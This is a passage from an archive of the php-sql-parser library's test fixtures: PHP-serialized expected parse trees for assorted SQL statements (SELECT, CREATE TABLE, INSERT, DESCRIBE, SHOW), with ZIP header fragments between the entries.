an_alias";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:35:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:">=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:7;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:8;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:9;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:10;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:11;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:12;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:13;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:14;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"-1";s:8:"sub_tree";b:0;}i:15;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:16;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:17;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"<";s:8:"sub_tree";b:0;}i:18;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}i:19;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:20;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:21;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<>";s:8:"sub_tree";b:0;}i:22;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:23;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"or";s:8:"sub_tree";b:0;}i:24;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:25;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<>";s:8:"sub_tree";b:0;}i:26;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:27;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"or";s:8:"sub_tree";b:0;}i:28;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:29;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<>";s:8:"sub_tree";b:0;}i:30;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:""test1"";s:8:"sub_tree";b:0;}i:31;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"or";s:8:"sub_tree";b:0;}i:32;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"d";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"d";}}s:8:"sub_tree";b:0;}i:33;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<>";s:8:"sub_tree";b:0;}i:34;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:7:""test2"";s:8:"sub_tree";b:0;}}}PK     \K    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue53a.serializednu [        a:5:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"table";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}s:5:"ORDER";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"c";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"c";}}s:8:"sub_tree";b:0;s:9:"direction";s:4:"DESC";}}s:5:"LIMIT";a:2:{s:6:"offset";s:2:"20";s:8:"rowcount";s:2:"10";}}PK     \_I    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33i.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:100:" (a varchar(1000), b integer, FOREIGN KEY haha (b) references xyz (id) match full on delete cascade)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:15:"a varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:13:"varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:4:"1000";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1000)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1000";}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:9:"b integer";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:7:"integer";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"integer";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:2;a:3:{s:9:"expr_type";s:11:"foreign-key";s:9:"base_expr";s:69:"FOREIGN KEY haha (b) references xyz (id) match full on delete cascade";s:8:"sub_tree";a:5:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"FOREIGN";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"haha";}i:3;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:3:"(b)";s:8:"sub_tree";a:1:{i:0;a:6:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:1:"b";s:4:"name";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:6:"length";b:0;s:3:"dir";b:0;}}}i:4;a:5:{s:9:"expr_type";s:11:"foreign-ref";s:9:"base_expr";s:48:"references xyz (id) match full on delete cascade";s:8:"sub_tree";a:8:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:10:"references";}i:1;a:4:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"xyz";s:9:"base_expr";s:3:"xyz";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"xyz";}}}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:4:"(id)";s:8:"sub_tree";a:1:{i:0;a:6:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:2:"id";s:4:"name";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:6:"length";b:0;s:3:"dir";b:0;}}}i:3;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"match";}i:4;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"full";}i:5;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"on";}i:6;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"delete";}i:7;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"cascade";}}s:5:"match";s:4:"FULL";s:9:"on_delete";s:7:"CASCADE";}}}}}s:7:"options";b:0;}}PK     \V    J  vendor/greenlion/php-sql-parser/tests/expected/parser/issue133b.serializednu [        a:3:{s:6:"SELECT";a:3:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:7;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:9;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"z";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"z";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:11;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:16:"MDR1.Particles85";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:4:"MDR1";i:1;s:11:"Particles85";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:16:"MDR1.Particles85";s:8:"sub_tree";b:0;s:8:"position";i:18;}}s:5:"WHERE";a:3:{i:0;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:4:"RAND";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"154321";s:8:"sub_tree";b:0;s:8:"position";i:46;}}s:8:"position";i:41;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:"<=";s:8:"sub_tree";b:0;s:8:"position";i:54;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"2E+5";s:8:"sub_tree";b:0;s:8:"position";i:57;}}}PK     \dR  R  J  vendor/greenlion/php-sql-parser/tests/expected/parser/issue56b1.serializednu [        a:3:{s:6:"SELECT";a:2:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:22:"-- an /*inline comment";}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"acol";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"acol";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:2:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:19:"--another */comment";}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"table";s:8:"sub_tree";b:0;s:8:"position";i:76;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:8:"position";i:96;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:98;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:100;}}}PK     \p`    H  vendor/greenlion/php-sql-parser/tests/expected/parser/select1.serializednu [        a:3:{s:6:"SELECT";a:5:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:3:"a.*";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:1:"*";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:14:"surveyls_title";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:14:"surveyls_title";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:2;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:20:"surveyls_description";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:20:"surveyls_description";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:3;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:20:"surveyls_welcometext";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:20:"surveyls_welcometext";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:4;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:12:"surveyls_url";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"surveyls_url";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:2:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"SURVEYS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"SURVEYS";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"AS a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"SURVEYS AS a";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:24:"SURVEYS_LANGUAGESETTINGS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:24:"SURVEYS_LANGUAGESETTINGS";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:1:{i:0;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:59:"(surveyls_survey_id=a.sid and surveyls_language=a.language)";s:8:"sub_tree";a:7:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:18:"surveyls_survey_id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:18:"surveyls_survey_id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:5:"a.sid";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:3:"sid";}}s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"and";s:8:"sub_tree";b:0;}i:4;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:17:"surveyls_language";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:17:"surveyls_language";}}s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:6;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"a.language";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:8:"language";}}s:8:"sub_tree";b:0;}}}}s:9:"base_expr";s:87:"SURVEYS_LANGUAGESETTINGS on (surveyls_survey_id=a.sid and surveyls_language=a.language)";s:8:"sub_tree";b:0;}}s:5:"ORDER";a:2:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"active";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"active";}}s:8:"sub_tree";b:0;s:9:"direction";s:4:"DESC";}i:1;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"surveyls_title";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:14:"surveyls_title";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";}}}PK     \0&o
  
  I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment8.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:5:"alias";b:0;s:9:"base_expr";s:1:"a";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:4:"(id)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}}}}s:6:"VALUES";a:2:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:35:"-- inline comment in VALUES section";}i:1;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:3:"(1)";s:4:"data";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \J{`  `  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue80a.serializednu [        a:4:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"`model`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"model";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"`model`";s:8:"sub_tree";b:0;s:8:"position";i:14;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"`marker`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"marker";}}s:8:"sub_tree";b:0;s:8:"position";i:28;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:36;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'this_model'";s:8:"sub_tree";b:0;s:8:"position";i:37;}}s:5:"ORDER";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`test`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";s:8:"position";i:59;}}}PK     \yƔ    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33g.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:102:" (a varchar(1000), PRIMARY KEY USING btree (a(5) ASC) key_block_size 4 with parser haha, CHECK(a > 5))";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:15:"a varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:13:"varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:4:"1000";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1000)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1000";}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:11:"primary-key";s:9:"base_expr";s:68:"PRIMARY KEY USING btree (a(5) ASC) key_block_size 4 with parser haha";s:8:"sub_tree";a:6:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"PRIMARY";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:2;a:3:{s:9:"expr_type";s:10:"index-type";s:9:"base_expr";s:11:"USING btree";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"USING";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"btree";}}}i:3;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:10:"(a(5) ASC)";s:8:"sub_tree";a:1:{i:0;a:6:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:8:"a(5) ASC";s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:6:"length";s:1:"5";s:3:"dir";s:3:"ASC";}}}i:4;a:3:{s:9:"expr_type";s:10:"index-size";s:9:"base_expr";s:16:"key_block_size 4";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:14:"key_block_size";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"4";}}}i:5;a:3:{s:9:"expr_type";s:12:"index-parser";s:9:"base_expr";s:16:"with parser haha";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"with";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"parser";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"haha";}}}}}i:2;a:3:{s:9:"expr_type";s:5:"check";s:9:"base_expr";s:12:"CHECK(a > 5)";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"CHECK";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:7:"(a > 5)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}}}}}}}s:7:"options";b:0;}}PK     \Xw  w  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue78d.serializednu [        a:1:{s:8:"DESCRIBE";a:2:{i:0;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:3:"foo";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"foo";}}s:5:"alias";b:0;s:9:"base_expr";s:3:"foo";s:8:"position";i:9;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"bar%";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"bar%";}}s:8:"position";i:13;}}}PK     \    F  vendor/greenlion/php-sql-parser/tests/expected/parser/show5.serializednu [        a:1:{s:4:"SHOW";a:8:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"FULL";s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"COLUMNS";s:8:"position";i:10;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"FROM";s:8:"position";i:18;}i:3;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:9:"`foo.bar`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"foo.bar";}}s:9:"base_expr";s:9:"`foo.bar`";s:8:"position";i:23;}i:4;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"FROM";s:8:"position";i:33;}i:5;a:5:{s:9:"expr_type";s:8:"database";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:9:"base_expr";s:6:"hohoho";s:8:"position";i:38;}i:6;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LIKE";s:8:"position";i:45;}i:7;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"'%xmas%'";s:8:"p